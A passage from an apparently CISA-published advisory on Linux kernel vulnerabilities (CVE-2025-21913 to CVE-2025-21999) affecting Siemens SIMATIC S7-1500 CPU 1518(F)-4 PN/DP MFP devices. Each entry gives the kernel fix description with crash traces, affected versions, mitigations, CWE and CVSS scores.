<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21913</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/amd_nb: Use rdmsr_safe() in amd_get_mmconfig_range() Xen doesn't offer MSR_FAM10H_MMIO_CONF_BASE to all guests. This results in the following warning: unchecked MSR access error: RDMSR from 0xc0010058 at rIP: 0xffffffff8101d19f (xen_do_read_msr+0x7f/0xa0) Call Trace: xen_read_msr+0x1e/0x30 amd_get_mmconfig_range+0x2b/0x80 quirk_amd_mmconfig_area+0x28/0x100 pnp_fixup_device+0x39/0x50 __pnp_add_device+0xf/0x150 pnp_add_device+0x3d/0x100 pnpacpi_add_device_handler+0x1f9/0x280 acpi_ns_get_device_callback+0x104/0x1c0 acpi_ns_walk_namespace+0x1d0/0x260 acpi_get_devices+0x8a/0xb0 pnpacpi_init+0x50/0x80 do_one_initcall+0x46/0x2e0 kernel_init_freeable+0x1da/0x2f0 kernel_init+0x16/0x1b0 ret_from_fork+0x30/0x50 ret_from_fork_asm+0x1b/0x30 based on quirks for a "PNP0c01" device. Treating MMCFG as disabled is the right course of action, so no change is needed there. This was most likely exposed by fixing the Xen MSR accessors to not be silently-safe.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21913">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21919</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: sched/fair: Fix potential memory corruption in child_cfs_rq_on_list child_cfs_rq_on_list attempts to convert a 'prev' pointer to a cfs_rq. This 'prev' pointer can originate from struct rq's leaf_cfs_rq_list, making the conversion invalid and potentially leading to memory corruption. Depending on the relative positions of leaf_cfs_rq_list and the task group (tg) pointer within the struct, this can cause a memory fault or access garbage data. The issue arises in list_add_leaf_cfs_rq, where both cfs_rq-&gt;leaf_cfs_rq_list and rq-&gt;leaf_cfs_rq_list are added to the same leaf list. Also, rq-&gt;tmp_alone_branch can be set to rq-&gt;leaf_cfs_rq_list. This adds a check `if (prev == &amp;rq-&gt;leaf_cfs_rq_list)` after the main conditional in child_cfs_rq_on_list. This ensures that the container_of operation will convert a correct cfs_rq struct. This check is sufficient because only cfs_rqs on the same CPU are added to the list, so verifying the 'prev' pointer against the current rq's list head is enough. Fixes a potential memory corruption issue that due to current struct layout might not be manifesting as a crash but could lead to unpredictable behavior when the layout changes.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21919">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21925</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: llc: do not use skb_get() before dev_queue_xmit() syzbot is able to crash hosts [1], using llc and devices not supporting IFF_TX_SKB_SHARING. In this case, e1000 driver calls eth_skb_pad(), while the skb is shared. Simply replace skb_get() by skb_clone() in net/llc/llc_s_ac.c Note that e1000 driver might have an issue with pktgen, because it does not clear IFF_TX_SKB_SHARING, this is an orthogonal change. We need to audit other skb_get() uses in net/llc. [1] kernel BUG at net/core/skbuff.c:2178 ! Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI CPU: 0 UID: 0 PID: 16371 Comm: syz.2.2764 Not tainted 6.14.0-rc4-syzkaller-00052-gac9c34d1e45a #0 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 RIP: 0010:pskb_expand_head+0x6ce/0x1240 net/core/skbuff.c:2178 Call Trace: __skb_pad+0x18a/0x610 net/core/skbuff.c:2466 __skb_put_padto include/linux/skbuff.h:3843 [inline] skb_put_padto include/linux/skbuff.h:3862 [inline] eth_skb_pad include/linux/etherdevice.h:656 [inline] e1000_xmit_frame+0x2d99/0x5800 drivers/net/ethernet/intel/e1000/e1000_main.c:3128 __netdev_start_xmit include/linux/netdevice.h:5151 [inline] netdev_start_xmit include/linux/netdevice.h:5160 [inline] xmit_one net/core/dev.c:3806 [inline] dev_hard_start_xmit+0x9a/0x7b0 net/core/dev.c:3822 sch_direct_xmit+0x1ae/0xc30 net/sched/sch_generic.c:343 __dev_xmit_skb net/core/dev.c:4045 [inline] __dev_queue_xmit+0x13d4/0x43e0 net/core/dev.c:4621 dev_queue_xmit include/linux/netdevice.h:3313 [inline] llc_sap_action_send_test_c+0x268/0x320 net/llc/llc_s_ac.c:144 llc_exec_sap_trans_actions net/llc/llc_sap.c:153 [inline] llc_sap_next_state net/llc/llc_sap.c:182 [inline] llc_sap_state_process+0x239/0x510 net/llc/llc_sap.c:209 llc_ui_sendmsg+0xd0d/0x14e0 net/llc/af_llc.c:993 sock_sendmsg_nosec net/socket.c:718 [inline]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21925">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21926</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: gso: fix ownership in __udp_gso_segment In __udp_gso_segment the skb destructor is removed before segmenting the skb but the socket reference is kept as-is. This is an issue if the original skb is later orphaned as we can hit the following bug: kernel BUG at ./include/linux/skbuff.h:3312! (skb_orphan) RIP: 0010:ip_rcv_core+0x8b2/0xca0 Call Trace: ip_rcv+0xab/0x6e0 __netif_receive_skb_one_core+0x168/0x1b0 process_backlog+0x384/0x1100 __napi_poll.constprop.0+0xa1/0x370 net_rx_action+0x925/0xe50 The above can happen following a sequence of events when using OpenVSwitch, when an OVS_ACTION_ATTR_USERSPACE action precedes an OVS_ACTION_ATTR_OUTPUT action: 1. OVS_ACTION_ATTR_USERSPACE is handled (in do_execute_actions): the skb goes through queue_gso_packets and then __udp_gso_segment, where its destructor is removed. 2. The segments' data are copied and sent to userspace. 3. OVS_ACTION_ATTR_OUTPUT is handled (in do_execute_actions) and the same original skb is sent to its path. 4. If it later hits skb_orphan, we hit the bug. Fix this by also removing the reference to the socket in __udp_gso_segment.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21926">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21938</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: fix 'scheduling while atomic' in mptcp_pm_nl_append_new_local_addr If multiple connection requests attempt to create an implicit mptcp endpoint in parallel, more than one caller may end up in mptcp_pm_nl_append_new_local_addr because none found the address in local_addr_list during their call to mptcp_pm_nl_get_local_id. In this case, the concurrent new_local_addr calls may delete the address entry created by the previous caller. These deletes use synchronize_rcu, but this is not permitted in some of the contexts where this function may be called. During packet recv, the caller may be in a rcu read critical section and have preemption disabled. An example stack: BUG: scheduling while atomic: swapper/2/0/0x00000302 Call Trace: dump_stack_lvl (lib/dump_stack.c:117 (discriminator 1)) dump_stack (lib/dump_stack.c:124) __schedule_bug (kernel/sched/core.c:5943) schedule_debug.constprop.0 (arch/x86/include/asm/preempt.h:33 kernel/sched/core.c:5970) __schedule (arch/x86/include/asm/jump_label.h:27 include/linux/jump_label.h:207 kernel/sched/features.h:29 kernel/sched/core.c:6621) schedule (arch/x86/include/asm/preempt.h:84 kernel/sched/core.c:6804 kernel/sched/core.c:6818) schedule_timeout (kernel/time/timer.c:2160) wait_for_completion (kernel/sched/completion.c:96 kernel/sched/completion.c:116 kernel/sched/completion.c:127 kernel/sched/completion.c:148) __wait_rcu_gp (include/linux/rcupdate.h:311 kernel/rcu/update.c:444) synchronize_rcu (kernel/rcu/tree.c:3609) mptcp_pm_nl_append_new_local_addr (net/mptcp/pm_netlink.c:966 net/mptcp/pm_netlink.c:1061) mptcp_pm_nl_get_local_id (net/mptcp/pm_netlink.c:1164) mptcp_pm_get_local_id (net/mptcp/pm.c:420) subflow_check_req (net/mptcp/subflow.c:98 net/mptcp/subflow.c:213) subflow_v4_route_req (net/mptcp/subflow.c:305) tcp_conn_request (net/ipv4/tcp_input.c:7216) subflow_v4_conn_request (net/mptcp/subflow.c:651) tcp_rcv_state_process (net/ipv4/tcp_input.c:6709) tcp_v4_do_rcv (net/ipv4/tcp_ipv4.c:1934) tcp_v4_rcv (net/ipv4/tcp_ipv4.c:2334) ip_protocol_deliver_rcu (net/ipv4/ip_input.c:205 (discriminator 1)) ip_local_deliver_finish (include/linux/rcupdate.h:813 net/ipv4/ip_input.c:234) ip_local_deliver (include/linux/netfilter.h:314 include/linux/netfilter.h:308 net/ipv4/ip_input.c:254) ip_sublist_rcv_finish (include/net/dst.h:461 net/ipv4/ip_input.c:580) ip_sublist_rcv (net/ipv4/ip_input.c:640) ip_list_rcv (net/ipv4/ip_input.c:675) __netif_receive_skb_list_core (net/core/dev.c:5583 net/core/dev.c:5631) netif_receive_skb_list_internal (net/core/dev.c:5685 net/core/dev.c:5774) napi_complete_done (include/linux/list.h:37 include/net/gro.h:449 include/net/gro.h:444 net/core/dev.c:6114) igb_poll (drivers/net/ethernet/intel/igb/igb_main.c:8244) igb __napi_poll (net/core/dev.c:6582) net_rx_action (net/core/dev.c:6653 net/core/dev.c:6787) handle_softirqs (kernel/softirq.c:553) __irq_exit_rcu (kernel/softirq.c:588 kernel/softirq.c:427 kernel/softirq.c:636) irq_exit_rcu (kernel/softirq.c:651) common_interrupt (arch/x86/kernel/irq.c:247 (discriminator 14)) This problem seems particularly prevalent if the user advertises an endpoint that has a different external vs internal address. In the case where the external address is advertised and multiple connections already exist, multiple subflow SYNs arrive in parallel which tends to trigger the race during creation of the first local_addr_list entries which have the internal address instead. Fix by skipping the replacement of an existing implicit local address if called via mptcp_pm_nl_get_local_id.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21938">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21959</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conncount: Fully initialize struct nf_conncount_tuple in insert_tree() Since commit b36e4523d4d5 ("netfilter: nf_conncount: fix garbage collection confirm race"), `cpu` and `jiffies32` were introduced to the struct nf_conncount_tuple. The commit made nf_conncount_add() initialize `conn-&gt;cpu` and `conn-&gt;jiffies32` when allocating the struct. In contrast, count_tree() was not changed to initialize them. By commit 34848d5c896e ("netfilter: nf_conncount: Split insert and traversal"), count_tree() was split and the relevant allocation code now resides in insert_tree(). Initialize `conn-&gt;cpu` and `conn-&gt;jiffies32` in insert_tree(). BUG: KMSAN: uninit-value in find_or_evict net/netfilter/nf_conncount.c:117 [inline] BUG: KMSAN: uninit-value in __nf_conncount_add+0xd9c/0x2850 net/netfilter/nf_conncount.c:143 find_or_evict net/netfilter/nf_conncount.c:117 [inline] __nf_conncount_add+0xd9c/0x2850 net/netfilter/nf_conncount.c:143 count_tree net/netfilter/nf_conncount.c:438 [inline] nf_conncount_count+0x82f/0x1e80 net/netfilter/nf_conncount.c:521 connlimit_mt+0x7f6/0xbd0 net/netfilter/xt_connlimit.c:72 __nft_match_eval net/netfilter/nft_compat.c:403 [inline] nft_match_eval+0x1a5/0x300 net/netfilter/nft_compat.c:433 expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline] nft_do_chain+0x426/0x2290 net/netfilter/nf_tables_core.c:288 nft_do_chain_ipv4+0x1a5/0x230 net/netfilter/nft_chain_filter.c:23 nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline] nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626 nf_hook_slow_list+0x24d/0x860 net/netfilter/core.c:663 NF_HOOK_LIST include/linux/netfilter.h:350 [inline] ip_sublist_rcv+0x17b7/0x17f0 net/ipv4/ip_input.c:633 ip_list_rcv+0x9ef/0xa40 net/ipv4/ip_input.c:669 __netif_receive_skb_list_ptype net/core/dev.c:5936 [inline] __netif_receive_skb_list_core+0x15c5/0x1670 net/core/dev.c:5983 __netif_receive_skb_list net/core/dev.c:6035 [inline] netif_receive_skb_list_internal+0x1085/0x1700 net/core/dev.c:6126 netif_receive_skb_list+0x5a/0x460 net/core/dev.c:6178 xdp_recv_frames net/bpf/test_run.c:280 [inline] xdp_test_run_batch net/bpf/test_run.c:361 [inline] bpf_test_run_xdp_live+0x2e86/0x3480 net/bpf/test_run.c:390 bpf_prog_test_run_xdp+0xf1d/0x1ae0 net/bpf/test_run.c:1316 bpf_prog_test_run+0x5e5/0xa30 kernel/bpf/syscall.c:4407 __sys_bpf+0x6aa/0xd90 kernel/bpf/syscall.c:5813 __do_sys_bpf kernel/bpf/syscall.c:5902 [inline] __se_sys_bpf kernel/bpf/syscall.c:5900 [inline] __ia32_sys_bpf+0xa0/0xe0 kernel/bpf/syscall.c:5900 ia32_sys_call+0x394d/0x4180 arch/x86/include/generated/asm/syscalls_32.h:358 do_syscall_32_irqs_on arch/x86/entry/common.c:165 [inline] __do_fast_syscall_32+0xb0/0x110 arch/x86/entry/common.c:387 do_fast_syscall_32+0x38/0x80 arch/x86/entry/common.c:412 do_SYSENTER_32+0x1f/0x30 arch/x86/entry/common.c:450 entry_SYSENTER_compat_after_hwframe+0x84/0x8e Uninit was created at: slab_post_alloc_hook mm/slub.c:4121 [inline] slab_alloc_node mm/slub.c:4164 [inline] kmem_cache_alloc_noprof+0x915/0xe10 mm/slub.c:4171 insert_tree net/netfilter/nf_conncount.c:372 [inline] count_tree net/netfilter/nf_conncount.c:450 [inline] nf_conncount_count+0x1415/0x1e80 net/netfilter/nf_conncount.c:521 connlimit_mt+0x7f6/0xbd0 net/netfilter/xt_connlimit.c:72 __nft_match_eval net/netfilter/nft_compat.c:403 [inline] nft_match_eval+0x1a5/0x300 net/netfilter/nft_compat.c:433 expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline] nft_do_chain+0x426/0x2290 net/netfilter/nf_tables_core.c:288 nft_do_chain_ipv4+0x1a5/0x230 net/netfilter/nft_chain_filter.c:23 nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline] nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626 nf_hook_slow_list+0x24d/0x860 net/netfilter/core.c:663 NF_HOOK_LIST include/linux/netfilter.h:350 [inline] ip_sublist_rcv+0x17b7/0x17f0 net/ipv4/ip_input.c:633 ip_list_rcv+0x9ef/0xa40 net/ip ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21959">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21999</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: proc: fix UAF in proc_get_inode() Fix race between rmmod and /proc/XXX's inode instantiation. The bug is that pde-&gt;proc_ops don't belong to /proc, it belongs to a module, therefore dereferencing it after /proc entry has been registered is a bug unless use_pde/unuse_pde() pair has been used. use_pde/unuse_pde can be avoided (2 atomic ops!) because pde-&gt;proc_ops never changes so information necessary for inode instantiation can be saved _before_ proc_register() in PDE itself and used later, avoiding pde-&gt;proc_ops-&gt;... dereference. rmmod lookup sys_delete_module proc_lookup_de pde_get(de); proc_get_inode(dir-&gt;i_sb, de); mod-&gt;exit() proc_remove remove_proc_subtree proc_entry_rundown(de); free_module(mod); if (S_ISREG(inode-&gt;i_mode)) if (de-&gt;proc_ops-&gt;proc_read_iter) --&gt; As module is already freed, will trigger UAF BUG: unable to handle page fault for address: fffffbfff80a702b PGD 817fc4067 P4D 817fc4067 PUD 817fc0067 PMD 102ef4067 PTE 0 Oops: Oops: 0000 [#1] PREEMPT SMP KASAN PTI CPU: 26 UID: 0 PID: 2667 Comm: ls Tainted: G 